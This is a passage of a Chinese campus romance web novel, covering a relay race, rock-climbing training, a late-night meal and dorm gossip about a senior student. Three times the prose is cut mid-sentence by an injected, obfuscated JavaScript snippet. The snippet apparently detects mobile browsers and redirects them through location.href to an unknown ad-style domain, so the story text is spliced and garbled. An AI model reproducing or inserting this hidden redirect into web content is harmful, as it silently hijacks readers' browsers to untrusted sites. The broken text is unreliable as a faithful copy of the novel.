李澍压住喉头火烧火燎的干涩和肌肉的酸痛,也不再想步伐和呼吸节奏,只是拼尽全力,向前方冲去。 近一些,距离第一位的法学队员更近一些。 迎面而来的狂风吹动他的背心,号码布紧贴在胸前,无形的力量似乎要拖住他,迎风的每一寸皮肤上都感受到强烈的阻力。 如果还有刚起跑时的体能就好了,双腿不会如此沉重,他就可以奋力狂奔,和对方并肩,完成超越。 法学院的队员在狂风之下,脚步也稍显缓慢,但身姿依旧矫健。 进入后五十米,他骤然发力,脚尖点地,如蜻蜓点水般绝尘而去,瞬间将自己和后方运动员之间的距离拉开。而后一直步态轻盈,稳定拉大优势,领先二十余米冲过终点线。 明知这是注定的结果,但仍如有巨石自天而降,压在身上。 李澍一瞬觉得全身都更加沉重,步伐有些凌乱,似乎都听到了后方的脚步声。 不行,不能在终点线之前被工学院反超。 他拳头攥得更紧,向着起风的方向,向着阻力最大的地方,发足狂奔。 这两秒,似乎是他经历过最漫长、最难熬,也是心跳最剧烈、斗志最昂扬的两秒。 “加油,计算机!” “加油,李澍!” 他听到那么多人,一起呼喊着自己的名字。其中隐约有她略显沙哑但依旧无比兴奋的声音:“小澍,加油啊!你可以的!” 可以的,一定可以的。 胸膛要炸裂一般,头颅却高高扬起。他感觉自己劈开了风,穿过了人潮的呼喊声,一步,两步,跨越了那条看似不远,却无比艰难才能抵达的终点线! “太棒了,我们赢了!” 场边掌声雷动,在终点的队友和本院的观众围上来,彼此拥抱跳跃,李澍不知被谁拍着肩膀,揉着脑袋,胸前那团火依旧在熊熊燃烧。 他踱着步放松,想要平复一下混乱的心跳,也抬起头,想在人群中寻找黎晓唱的身影。 但陆续过来祝贺的院友络绎不绝,队友也贴心地陪在一边,提醒他不要立时坐下,还扼腕感慨:“早知道就差这么点儿,我之前应该把八百米放了,保留体力,专注接力。”。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116235|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这熙来攘往的人群,便不断阻隔了他的视线。 黎晓唱自然跟不上他的速度,她跑了几步,看到法学院遽然提速,也看到李澍保持第二的位次,稳稳冲线。小有遗憾,但也说不出的喜悦。 她和程峻齐并肩向终点线走去,说道:“最后有点可惜哦,不过第二也不错。” 程峻齐笑:“那是,第二就是胜利!法学队员不是练田径的,但也是篮球队、赛艇队的,这么多年专业训练也不是吃白饭。” 她奇道:“那你刚才说,相信小澍……” “我不是说相信他反超五十米。”程峻齐笑,“而是相信他会跑出自己的最佳成绩。”他向着李澍的方向努了努嘴,“而且那个超越多果断,弯道技术多漂亮。” 黎晓唱听到李澍被夸奖,心中喜悦,好像就是夸奖自己一样,忍不住也想谦虚两句:“师兄你们几个也很厉害啊,没想到计算机藏龙卧虎。” “你不也是?全国锦标赛第二。”程峻齐笑,“我马上要毕业了,以后的重任就要交给师弟了,今年发现了李澍,也算有点欣慰。” 计算机的啦啦队们已经扯起了旗子,举起相机拍照。 程峻齐喊黎晓唱:“一起啊。” 她连忙摆手:“不不,都是你们学院的人,我过去怪奇怪的。” “你刚才可是我们的铁杆拉拉队。” 黎晓唱看过去,有人帮李澍拿着运动服外套,有人帮他递过运动饮料,还有人掏出纸巾给他擦汗。其中不乏笑容明媚的小女生。 她想起室友们的揶揄,忽然犹豫起来。 这可是小澍扬名立万的日子啊,来大学快一年,他似乎都是沉默的独行客,后来渐渐认识了攀岩队的一众兄弟,又被自己拉着讲高数,讲概率统计。 其实,他也有另一个属于自己的生活圈子,需要结识更多的人,被更多周围的同学发现他深藏的闪光点。 当时室友说:“熟归熟,不能挡了小师弟的桃花是吧。” 黎晓唱还记得自己斩钉截铁,说:“这个分寸我还是有的。” 看到场边欢呼雀跃的姑娘们,没准谁就动了心思呢? 黎晓唱想到此处,停下脚步,催促程峻齐说:“你快去照相吧,我也去和我们学院的运动员们合影啦。” “那好。”他挥挥手,“改天找你攀岩。” 计算机的旗帜扯起来,李澍和其他接力队友站在第一排。看到程峻齐跑过来,众人喊他:“程部长,快来。”大家簇拥着,把接力四人环在中间,每个人都开心地笑着,兴奋地呼喊。 李澍看到黎晓唱在不远处站定,伸直双臂,竖起大拇指。口型似乎在说:“小澍最棒!”然后摆摆手,点了点身后,示意自己要离开。 刚刚,她还和程峻齐一起,有说有笑走过来。 此刻却只是挥挥手,便转身向着场地另一端走去,不多时就融进生命学院的队伍里,和大家说说笑笑,再没回头。 刚才剧烈燃烧的火焰,似乎冷下来一点点。 李澍不知道,这是不是一个预兆。 此后当他反复站在各种领奖台上时,都似乎听到黎晓唱坚定信任的鼓励,“小澍,你可以的。”但她似乎都在远处观望,而且,越来越遥远,直到消失不见。 22. 第九章 (下) 黎晓唱回到自己学院的队伍中,一群人嘻哈说笑,各种组合合影留念。有人搡她,打趣道:“你刚才怎么给计算机加油去了?” “我徒弟在嘛……”黎晓唱回望一眼,操场上人头攒动,看不清李澍在哪儿。刚刚从人群中穿过时,听到有人说:“李澍是三班的哈,没想到他还挺厉害。” 黎晓唱当然自豪,但转念一想,又不是攀岩比赛,和她这个师傅也没有什么关系。 不过就是前几天,她还带他遛弯散心,还鼓励他说,他也会成为很厉害的人……想到这儿,黎晓唱歪了歪头,这句话有没有告诉李澍来着?不过也没关系了,在她心中,小澍就是越来越厉害么,只是没想到进步这么快。不知道他是否发现,周围已经有更多的人,用赞赏的眼光看他。 虽然想起李澍,印象中最深的还是初次见面的样子,青涩稚嫩,腼腆拘谨,有一圈浅淡的胡须。高个子,但体型还是少年的瘦削,T恤平整地挂在身上,肩膀平平的。 从什么时候起,他已经变得不一样了呢? 身姿挺拔,肩膀宽阔,剃掉胡须,下颌轮廓清晰显露,反而有一种长大了一些的感觉。 但运动会之后这两天,他的话反而少了。 黎晓唱站在岩壁下,一边想着,一边收着保护的动力绳。拽了两下,意识到被拽高的攀爬一端,八字结只松了一半,无法从最上端的快挂通过。 她试着跳了一下,想拽住八字绳结,扯下来重新解开。原地蹦了一次,助跑了一次,都还差些许。 “我来吧。”略带回响的膛音从身后传来,李澍略一跳,轻巧地将绳结拽下来,顺手解开,再塞给她。 “多亏你在。”黎晓唱吐了吐舌头,“我刚才都想爬到顶了。” 李澍点头:“那是,我还是比你高的。” “那还用说!”黎晓唱侧头看他,“你这两天,怎么这么沉默?” “有吗?”李澍看起来还是有点低沉,“我以前话多吗?” 嘿,听语气还有点小脾气呢。黎晓唱乐了:“你这是怎么了?因为运动会吗?” 李澍不置可否。 黎晓唱有些自得,小同学的心思,就这么简单嘛,有什么大不了呢? “你的表现已经很棒了,并不是得了冠军才是胜利啊。”她在李澍肩头拍了一下,想要给他些鼓励,“你之前总担心自己给队伍拖后腿,但程峻齐都说,这次接力成绩,是近年来你们学院最好的。” “我知道,也没想着能赢法学。” 黎晓唱笑:“看你当时有那个架势啊。” 李澍自嘲道:“自不量力了。” “怎么叫自不量力呢?那句话怎么说来着,”黎晓唱在脑海中一番搜索,想起一句作文素材,“‘如果你向月亮瞄准,才能射到老鹰;如果你向老鹰瞄准,就只能射到石头’,如果你不是盯着第一,计算机怎么会跑出历史最好成绩呢?” 真的不是这个原因。 李澍心里明白,黎晓唱以为自己拉足了架势,却没能超越对手,才会闷闷不乐。的确,当时他满腔热血,想要和对方一决高下。但其实回看当天的视频和照片,输得一点都不冤枉。 人家步履矫健,动作专业,随便截一帧都充满了运动的力量之美,只有让人赞叹的份儿。 他低落的原因是……“那天,你……” “我?”她歪头,“我怎么了?” 那天的赛场上,周围的运动员和院友都开心地和他击掌拥抱,李澍知道自己没有战胜对手,但也相信跑出了个人最佳成绩。他心跳如雷,感觉像变身赛亚人一样,斗志昂扬,满是力量。 他是多想和黎晓唱分享,那种蓬勃的喜悦和自信。 可是,你为什么,站在远处挥挥手,就转身走开了呢? 而且,李澍还下载了院里同学整理的运动会照片合集,拉拉队员们分散在场地不同位置,有许多不同视角的照片。他看到了自己冲刺时咬牙切齿的样子,因为克服着胸膛炸裂般的不适,显得五官纠结。 还有两张是程峻齐和黎晓唱并肩站在场边,显然他是学院的风云人物,总会被镜头捕捉。两个人同一个角度侧身,望着同一个方向,默契十足。还有一张,二人相视一笑,快乐地击掌。 李澍略垂眸,看着面前微扬的脸庞。黎晓唱和以往一样笑意盈盈,眼神清亮,他一瞬间不敢和她直视,眼神扫向一边:“你跑完三千,嗓子都哑了吧,还来给我们加油。谢谢。” “嗨,就这点事儿,至于客气吗?”黎晓唱笑起来,“咱们需要这么见外吗!?” 李澍还想说什么,听到有人喊他们的名字。 “李澍,晓唱,你们都在呢。”程峻齐信步走来,比平时穿得正式几分。 “这是……毕业论文答辩么?”黎晓唱问。 “没,上午去美国使馆面签。” “一切顺利吧!你肯定没问题的!” “嗯,就简单问了两个问题。”程峻齐应道,“我一边回答他就一边录入,也没盘问什么,过两分钟就说可以了。” 他接着说:“一直说要来岩壁看看,总算有时间了。” “但你这一身也爬不了啊。” 程峻齐笑:“不着急。答辩还有一个月,不过论文已经写好了,这段时间都比较放松。” 李澍和程峻齐打过招呼,也没再多言,只是站在一旁,安静地看二人说说笑笑。他们聊得热络,好像也没有自己插嘴的余地。 对这位师兄,他一来敬佩,二来感激。 练习阶段,在李澍最初成绩欠佳的情况下,是程峻齐毫不犹豫选择他做为接力第四棒。没有后路、没有依托,才逼得李澍无法心存侥幸,破釜沉舟、背水一战。 在终点线,李澍和程峻齐还有其他两位师兄汇合,四个人大力拥抱,揽着肩膀,照片上留下的是灿烂热烈的笑容。 无畏挑战,自信昂扬,李澍又一次感觉到高三全力备考时的斗志,也因为队友的默契合作、彼此信任,深深体味到在学院集体中的归属感。 然而,除了敬佩和感激,在面对程峻齐时,李澍这么多年来,第一次全方位地感受到来自他人的压力。 就如同在跑道上面对法学院的队员,他中途的确略有降速,但最后五十米的冲刺果决坚定,一定是心中对自己碾压式的实力胸有成竹。跑到终点,法学院四人也没有其他队伍那样兴高采烈,第四棒还低着头若有所思,似乎在质疑自己为什么没有将五十米的优势保持到最后。 李澍想要冲刺,想要放手一搏,但也深知,就算不考虑天赋差异,只考虑练习和积累,他与对方的差距都不是以天为单位来衡量的。 程峻齐又约黎晓唱改天去实验室,说根据她提供的若干保护地衡量方法,做了一些小程序,他也热情地招呼李澍同去:“你可以多看看,对分专业也有个直观认识。” 李澍点头。 两个人又说起观鸟的活动,周五上午,总是有一群师生在校园内相约观鸟,加以记录,也给爱好者以入门的机会。 黎晓唱说:“我大一的时候还总去呢,不过现在不怎么去了。” 程峻齐应道:“那年应该正好是我课特别多的一年,又在学生会帮忙,可惜了。”他提了两个人的名字,“不过我和他们也熟,最近让他们带上我。” 黎晓唱眼睛一亮:“他们可是大牛,拍得再糊的鸟图都能认出来。” “是啊,我们一个宿舍楼……” 程峻齐虽然课业忙碌,但交游甚广,和黎晓唱有许多共同好友。他又博闻强识,即使说到黎晓唱的专业领域,也能略加点评,或是抛出有趣的问题来。 两个人聊得十分投机,直到队友招呼黎晓唱打保护,她才忙不迭应着:“哎呀呀,这就过来。”又向程峻齐道歉,“今天能做先锋保护的就我一个,不好意思啊,让小澍带你参观一下吧。” 李澍依言, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116236|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着程峻齐在场地内走了一圈,给他讲解抱石和攀岩的注意事项,人工岩壁上路线的难度分布,攀岩的基本技巧等等。 说话之间,又绕到黎晓唱附近。她聚精会神打着保护,注意力集中在攀爬者身上,还不时提醒他注意保护绳位置。 “和平时的晓唱不大一样呢,”程峻齐评价,“太认真了。” “她就是爱说笑,但遇到自己真正着迷的事情,就非常投入,也很细心。”李澍应道,“攀岩,还有她的专业。” “她的爱好,还都挺硬核的。”程峻齐笑,“但好像什么事儿都难不倒她一样,总是活力充沛。特别阳光、有感染力,和她在一起很难不开心。” 李澍默然——程峻齐说的,和他心中所想别无二致。他看向黎晓唱的眼神中,有毫不掩饰的欣赏与喜悦。 李澍没有多少感情经历,也很少关注别人的细微情绪。 但他有眼睛,不瞎。 仿佛又一次,站到了四百米的跑道上,听到了疾风呼啸。 程峻齐也收到了照片下载链接,他挑了几张有黎晓唱的,通过邮箱发给她。 黎晓唱在寝室打开,自然引来其他三位姐妹围观,连唐凝都挤在一起:“就在实验室泡了两个月,怎么感觉错过好多八卦?” 黎晓唱脸颊发热,忙将照片关上:“凝凝你也学坏了!你一个未来的学术之星,怎么能参与这种庸俗的讨论!” 孟琳咋舌:“哪儿庸俗了,多配呀。”说着抢过鼠标,又把那两张照片调出来,“啊呀,看你俩笑得,乐开了花。还有这张,肩并肩,倾斜角度都一样,都快靠在一起了!” 黎晓唱继续解释:“那是因为他们学院是4乘4接力的强队!李澍跑最后一棒,我们在加油。” 孟琳打断她:“哦……一起为计算机的最后一棒加油……那,计算机那么多啦啦队员,需要凝聚力量。这种关键时刻,他们的程峻齐大师兄,为什么要和我们生科的一个女生站在一起呢?” 唐凝笑:“有道理,分析到位。” 孟琳也不自谦:“那是,一个科学工作者的基本素养,善于发现问题,归纳总结。” 周亚岚也说:“真的挺配呢,身高啊、体型啊。哦对,篮球赛小组赛马上结束,过几天开始打淘汰赛,你要不要去看?” “看可以,立场要坚定啊。”孟琳揶揄,“要是我们两个学院对战,你选谁?” “选谁,选谁,就选你好吧!”黎晓唱反手夺回鼠标,几个人笑着闹在一起。 唐凝都格外关注,和黎晓唱一起去水房打水,还忍不住让她把最近的进展和她更新一下。 黎晓唱耳朵发热:“哪儿来的什么进展?别听她们瞎说。” “一点都没有吗?”唐凝打趣道,“以前什么兔子男生追你的时候,你可没这么忸怩过。” “程师兄又不是在追我!”黎晓唱脱口而出,连忙左右看看,免得被熟人听去,又压低声音,“最近聊得比较多,凑巧了。” 的确,当自己和他的名字相提并论时,她觉得有些忸怩,无法大方否认,或者提醒对方保持距离。 因为黎晓唱很清楚,每次程峻齐出现在她面前时,她的内心是喜悦的。 虽然程峻齐说着和祁飞等人相熟,又是李澍的师兄,但说到观摩攀岩,他都是和她约时间,那天签证后到岩壁来,多数时间也是在和她聊天。 黎晓唱隐约觉得,他似乎也愿意和自己谈天说地。 但她对他,或者他对她,真的有超越友情之上的设想么? 这种若有还无的好感,黎晓唱不想深思,也羞于深思,只怕过分解读,就变成了自做多情。 要到很久以后,她才会真正体会,喜欢和被喜欢,和饿了想吃东西一样,是非常本能、无需深思、无需分辨的东西。 它出现了,你自然就懂得。 就像另一句被许多人引用过的话,爱和咳嗽,是藏不住的。 23. 第十章 路口 下一堂《保护生物学》课后,程峻齐邀请黎晓唱和李澍去他所在的实验室。此前他托黎晓唱拿了一些大熊猫的实际分布数据,用现有的几个模型工具加以推演,评估了它们的数据处理能力。 他不仅对现有的工具略作优化,还做了更易于操作的界面,根据不同模型,预测其他可能有熊猫分布的区域,在地图上清晰呈现。 “我提高了一下数据处理速度,但还没仔细推演,而且缺少一些点位的关键信息,所以准确度不高。”程峻齐谦虚道,“觉得挺好玩,就随手做了个演示。” 这随手一玩,已经让黎晓唱啧啧称奇。 程峻齐记忆力卓绝,很多在大课上听过的概念和理论都信手拈来,又问了一些现实中红外相机的实操情况,三个人天马行空讨论了一番,大规模采集的数据是否可以有更为统一的标准,如何实现共享,是否可以自动辨别拍到的动物,还有哪些信息可以深度挖掘。 “野外的环境相对复杂,”程峻齐说,“要做动物的物种识别并不容易,首先,红外照片的清晰度未必有保障;其次,拍摄的角度和部位、是否有植物遮挡、动物的动作、背景干扰等等,都会增加识别的难度。不过我对未来的发展前景还是有信心的,图像识别这些年还是有不少新发展的,算法不断更新迭代,国外还有这方面的比赛,没准哪天就有突破性的进展。” 聊到具体算法,如何编程实现等,黎晓唱就似懂非懂了,反而是程峻齐和李澍有所讨论。当然二人学习积累差异甚大,许多方法和工具李澍只是略有耳闻,或者第一次从程峻齐嘴中听说。 讨论下来,发现有些他思考过的问题,原来早有人以更精巧的方式解决。李澍颇受启迪,又观看了若干程峻齐曾做过的项目演示,不知不觉,聊到将近十一点。 “啊,快熄灯了吧。”程峻齐扫了一眼计算机上的时钟,回头问,“晓唱,女生寝室有门禁吧?” “啊?……”她跟不上二人思路,讨论内容和她的专业越来越远,索性趴在桌子上小憩,不知不觉睡了过去。听到有人喊她,黎晓唱一激灵,连忙坐直,右半脸颊还印了衣袖褶皱的纹路。 “什么?”她迷蒙中没听清程峻齐的问题,反问道。 她看起来还怔怔的,程峻齐忍不住笑:“快十一点了,你还进得去宿舍楼吧?” “没问题,刷卡就行。”黎晓唱揉揉眼睛,“我们要是做起实验来,经常后半夜回去。” “那就好。你俩明天八点有课吗?”程峻齐问,“走啊,我请你们吃宵夜。” 李澍略一犹豫,还是诚实答道:“明天上午还有数分。” “也是,必修课还是不能逃,我可不能带坏师弟,”程峻齐转身,“晓唱呢?” “我……”黎晓唱本想拒绝,但又觉得过意不去,“其实今天是麻烦师兄帮我解决问题了,怎么能让你请客啊。还是我请你们吃宵夜吧。小澍也吃点再回去?” 李澍淡淡回应:“我就……不去了。” “也好,今天你随便请点儿什么吧。”程峻齐说道,“改天等祁飞、李澍都在,我请你们吃大餐。” 走出学院大楼,空气中隐约浮动着洋槐清新浅淡的香气,不凉不热的温度,让行走在林荫路下的人们,好像可以悠然地融入到夜色中一样。 隔了两个路口,又传来“啾啾—啾啾”的鸣叫,李澍知道,那是黎晓唱带他看过的东方角鸮,正要开口,就听到程峻齐的声音。 “这是什么鸟的叫声么?猫头鹰?” 黎晓唱应道:“对呀,东方角鸮,也叫红角鸮。” “我听他们说校内有,还有鹰鸮?”程峻齐慨叹,“我在学校四年,都没见过呢。” “是啊,没有那么容易发现,而且我们也不会在网上公开位置,就怕有人去围观,会打扰猫头鹰休息。” “那下次你们看到,能私下告诉我在哪儿么?”程峻齐笑,举起手指,“保证不打扰,不泄密。” 李澍单肩背着包,双手半插在牛仔裤口袋里,略低了头,默不作声地走着。路边躺着一颗石子,他右脚轻轻一搓,石子清脆地弹开,才显得他这一边没有那么寂静。 其实他本来也有一些见闻想说,他在网上搜到不同猫头鹰的叫声。红角鸮算是比较萌的,还有一些凄厉诡异,如果是荒郊野外、夜阑人静,骤然听到,的确会让人悚然一惊,所以才有了那些关于猫头鹰不祥的传言吧。 他也因此又去搜索,是否有人做了听声辨鸟的软件。 不过他此时并不想多说。只有黎晓唱时,随意交换些漫无目的、天马行空的想法,话题无拘无束,无非是交谈的乐趣。 但程峻齐不同。对他而言,处理分析常见鸟类鸣叫可以是一个有趣的项目,规律的音频信号可比图像好处理。没准过两天,他就开发出另一个小程序。 这是本学院即将毕业的大神,向李澍充分展示了,如果大学时光没有虚度,一个人会有怎样长足的成长。 对于程峻齐,李澍抬头仰望,并不嫉妒。但此时此刻,看着前方并肩而行的两个人,他怎么会不相形见绌,不感到失落呢? 程峻齐和黎晓唱出了校门,过街斜对面有一家麻辣烫。 来吃夜宵的学生不少,有人认得程峻齐,也看到他身边站着个女生,打招呼时笑得颇有深意。程峻齐大方应对,还将黎晓唱和对方相互介绍一番,又邀请他过来一起坐。 “我们人多,都吃一会儿了。”男生拍他肩膀,扬眉一笑,“就不打扰你们了。” 程峻齐拆了两套餐具的塑料膜,又去拿了一壶热水,问黎晓唱:“要烫一下么?” 她伸手覆住面前的碗筷:“不麻烦师兄了,我总在外面跑,风餐露宿习惯了,也没那么多讲究。” 程峻齐本来拿起水杯,又放下,笑道:“也是,没必要活那么仔细。” “不不,我是觉得这个习惯挺好。”她嘻嘻一笑,“可能我还是……懒吧。” 两个人又聊了一些黎晓唱出野外的趣事。程峻齐问:“那下学期开始,你大部分时间都在野外?” “隔两个月会回来一次吧。”黎晓唱调了蘸料,红油辣椒、麻酱陈醋、蒜末香菜,飞快地搅了搅。看程峻齐一个男生,比她动作优雅得多,才觉得自己有些毛躁,吃东西时也尽量放慢了速度。 程峻齐问:“那接下来有什么打算,留在本系读研么?” “应该就是吧,我还想跟着梁老师的。”黎晓唱细嚼慢咽,辣油滴到面前桌上,连忙拿餐巾纸擦去,“具体去做什么内容,我还没想好,想去的地方太多了。而且,我们的研究时间跨度大,总有一种,想做的事情做也做不完、想去的地方跑也跑不过来的感觉。” “你们专业,一般也要读到博士吧?” “想在这个领域发展,的确是啊。” “那……你没考虑过,出国读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116237|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个学位吗?”程峻齐问,“美国的研究方法还是走在前面,而且,好像还有和国内的联合项目。” 他问得直接,黎晓唱心中没来由一慌,隐约觉得,这个问题背后另有深意。一走神,辣椒片贴在嗓子眼,她忙侧过身,剧烈地咳嗽了两声。 程峻齐扬手,喊服务员拿来两瓶北冰洋,又给她递了纸巾,解释道:“就是这两天做模型比对,在网上看了一些国外已有的研究成果,觉得挺有趣。毕竟先发展那么多年,操作相对成熟,应该有借鉴意义吧。” “的确啊。我们寝室的姑娘,早就决定出国了。她也想做保护,但更偏遗传方向,所以还是应该出去看看。”黎晓唱之前和唐凝讨论过,“但我更喜欢跑野外,觉得一出国五六年太久了,要是就去交流个一两年倒可以。而且合作项目的话,在国内也能接受国外专家的指导。” 程峻齐点头:“也是。” 黎晓唱又接了一句:“而且,我这两年又出野外又攀岩的,也没有准备过托福GRE什么的……” “师兄这么问,就是话外有话!你这回答的一点转圜余地都没有,一下就把天聊死了吧!”孟琳一边叹气,一边摇头。 时值中午,寝室女生又拿昨晚黎晓唱的八卦下饭。 “那我就是这么想的,总不能骗人家吧?”黎晓唱一脸无辜。 “你这么一说,就等于未来好几年,两个人天各一方。人家师兄可能本来对你有点想法,这也被劝退了。” “如果因为异国就不能发展的感情,何必发展呢?”黎晓唱振振有词,“说明感情不到么……那就这样做朋友也挺好么。” “话是这么说,一般男生就算了,又不是非他不可。”孟琳强调,“那可是程峻齐,各方面出类拔萃,过了这个村没有这个店啊。而且你们在一起也能聊很久么,从昨天下课一直聊到半夜一点多,还想怎样?错过了,真的不可惜吗?” 周亚岚也附和:“是啊,可惜你们现在才认识,如果早一年,可能就不一样了。如果真的有感情基础,两个人会向着一个方向努力的,会一起克服空间、时间的距离,但现在……” “就是!而且,程师兄和前女友分手,是不是就因为异地太久……” 夜里黎晓唱训练归来,等到唐凝一起去浴室。回来路上,头发没完全吹透,黎晓唱边走边拨弄着,让湿气尽快散去,抱怨着:“回头还得剪短打薄,太不容易干了。” 聊了两句,又把昨晚宵夜的对白复述了一边。 唐凝慨叹:“我也觉得,你们两个没有更多彼此了解的机会,有点可惜。” “说明我们彼此都没什么迫切的想法呗。”黎晓唱倒是想得开,“想坚持的人,距离不是问题。又不是身边时刻有个人陪着才能活,否则让我们这些单身多年的怎么办?” “是啊,距离的确会带来问题;但有时候,距离就是个借口。”唐凝自嘲地笑:“就像那个谁,说要去别的地方发展,又返回来找别的小师妹。他说的距离,就是和我分开的借口而已。” “凝凝,”黎晓唱扯她衣袖,“不提这个话题了,那个人他不配。” “是啊。”唐凝长吁一口气,“是因为他不值得,并不是距离的问题。” 然而,如何判断谁是值得的人,谁又不值得? 要投入时间和感情来验证么?如此忙碌多变的时代里,谁会在人生前程的分叉路口,做出这样的赌注? 24. 第十章 (下) 大学生攀岩比赛还有不到两个月,攀岩队和隔壁D大约了一场友谊赛,顺路去参观D大翻修的新岩壁。 一群人骑着自行车,浩浩荡荡转进D大校园。隔着场边的铁丝网,黎晓唱远远就看见D大女队的主力选手,兴奋地挥着手:“燕子!” 她跑到门边,用力拽了一下,大门纹丝未动:“燕子,拓哥,快来给我开门!” 燕子爽朗一笑:“就说你多久没来找我玩了?!又忘了不是?那个门是个滑动门,你往旁边推啊。” “哦哦,看我这记性。”黎晓唱嘻嘻一笑,“总当和我们岩壁一样。” D大攀岩队每年还有新招收的特长生,在北京众高校中实力强劲。黎晓唱看着他们的队员热身,艳羡道:“强手如云哦,而且一看就是专业练出来的,和我们这些杂牌军不一样。” 燕子是上一届大学生攀岩赛抱石赛和难度赛的女子冠军,攀岩多年,实力强劲。她大力揽过黎晓唱脖子:“谦虚了啊,你就是没规律训练而已。要不你夏天别出野外了,咱们去广西、云南走一圈,多爬爬线。” 黎晓唱不舍地摇头:“我也想啊,一个人能掰两半用就好了。别说阳朔,今年白河还有十渡我都没去呢!” “那你要小心被我越落越远哟。”燕子逗她,“以后可没法跟我做搭档了。” “唉。”黎晓唱做心痛状,“没准今年是我最后一次参赛了,以后江湖上就只有我的传说。” 环顾四周,抱石墙一角还有个小小的身影,是个六七岁的小男孩,动作干净有力,轻松从大斜角翻出屋檐。 黎晓唱咋舌:“你们攀岩队,都从娃娃抓起了?还是哪位老师家的小朋友啊。” 燕子向身后一指:“拓哥带来的。” 方拓和两边队伍都熟识,一场快乐的友谊赛中,也没人担心他偏袒谁,所以邀请他来做裁判。 果然,他就在抱石墙附近,对小男孩的攀爬加以指点,二人看起来十分亲昵。 黎晓唱逗他:“拓哥,看不出来啊!你家小朋友这么大了!” “那是。”他大言不惭,将小男孩搂过来,“怎么样,像不?” 真是个漂亮的小男孩。黎晓唱打量一番:“比你帅!” “太伤人了,我也还行吧!?”方拓哈哈大笑,“这是我师父家的小朋友,邵一川。他听说有比赛就很兴奋,非让我带他来见识见识。” 他半蹲着,摊手介绍,“这位是晓唱姐姐,她也很厉害的呦。”又指了指一旁的几位熟人,“祁飞哥哥,李澍哥哥。” 邵一川嗓音清脆,和几位队员一一问好。 邵一川礼貌乖巧,到了岩壁上又像个小大人一样,聚精会神,目光坚定。几个人平时也不大懂得如何哄小孩,但此刻也兴致勃勃围在一起,看小孩子攀爬。 众人赞叹:“小朋友很有天份啊,动作也漂亮。” 方拓自得:“那是,我带的徒弟!” 黎晓唱慨叹:“人家这么小就开始爬,等到上大学,已经有十年的岩龄了!我到现在,总共也就爬了三年而已。” 方拓说:“现在的小朋友,肯定比我们那时候条件好啊。但攀岩的群众基础,也是这么多爱好者多年来积累的,以后一代代青出于蓝,相信会涌现出更多的少年高手,没准过些年就有世界顶尖的呢。” 比赛分为抱石赛,难度赛和速度赛,同时设置了新人组。 两支队伍传承良好,各有所长。和投入更多时间训练的燕子相比,黎晓唱的抱石水平稍落下风,但在长线路的难度赛中,两个人先后登顶,耗时相差无几。 众人在场边仰头观赛,方拓评论道:“晓唱的优势就是,不蛮干,脑子快,动作果断,没有废招,体力分配非常恰当。如果她一直练,多出去和高手交流,攻克难点的能力会比现在高好多。” 计算积分,黎晓唱比燕子还是稍逊一筹。她夸张地哀叹了几秒钟,就快乐地和燕子拥抱,两个人又彼此交流,重新爬了几条线路。有些细微之处,两个人的解决想法不尽相同,一番讨论后,都觉得有所收获,攀爬得更加得心应手。 攀岩便是如此。 比赛不是对抗,而是展现,呈现自己的最好状态和昂扬斗志。 场上实力相当的竞争对手,从来不是对立面,反而是最适合一起成长的伙伴。 岩壁也不是大家要攻克或征服的对象,而是岩友心爱的游乐场。 唯一要战胜的,就是曾经的自己。每个人要攻克的,都是个人技术和能力的薄弱环节。 李澍在新人组中表现亮眼,用方拓的话说,不急不躁,沉稳得不像第一次参赛。 黎晓唱自豪:“那是,小澍的心理素质很不错呢,低调内敛。”又鼓动方拓,“拓哥,你也演示一下呗,让我们学习学习。” “又拿我当免费教练?”方拓啧啧道,“太会使唤人了。”虽然嘴上抱怨,对于指导有实力的攀岩新人,每个老手都有一种义不容辞的责任感,更是乐在其中。 方拓换了攀岩鞋,将线路逐条演示,还做了两个动态飞扑,指导李澍如何循序渐进,掌握发力技巧。 和方拓行云流水的攀爬相比,李澍只觉得自己磕磕绊绊,但有了这半年多的磨砺,他也清楚有些动作不能急于求成。 即使尝试多次依旧失败,但能够拉近一丝到目标点的距离,努力就不算白费。 几个队员围着一条线路,轮流尝试,互相打趣。方拓感慨:“年轻人就是体力好,进步飞快!” 李澍诚恳道:“看了拓哥和几位大牛的演示,感觉自己悟性和能力还是差太远。” 方拓笑:“攀岩就是这样,人外有人,线外有线。总有人比你更有天赋、更加努力,没谁对自己的能力满意。” “我是觉得,自己进步挺慢的。” “你都可以去爬11*的线了,这才几个月,还想上天啊。”方拓笑,“已经算进步很快了,都赶上我了!” 在攀岩等级划分中,11,12指5.11,5.12,一般爱好者训练一段时间才能爬5.10a,此后有10b-10d,才是5.11a。 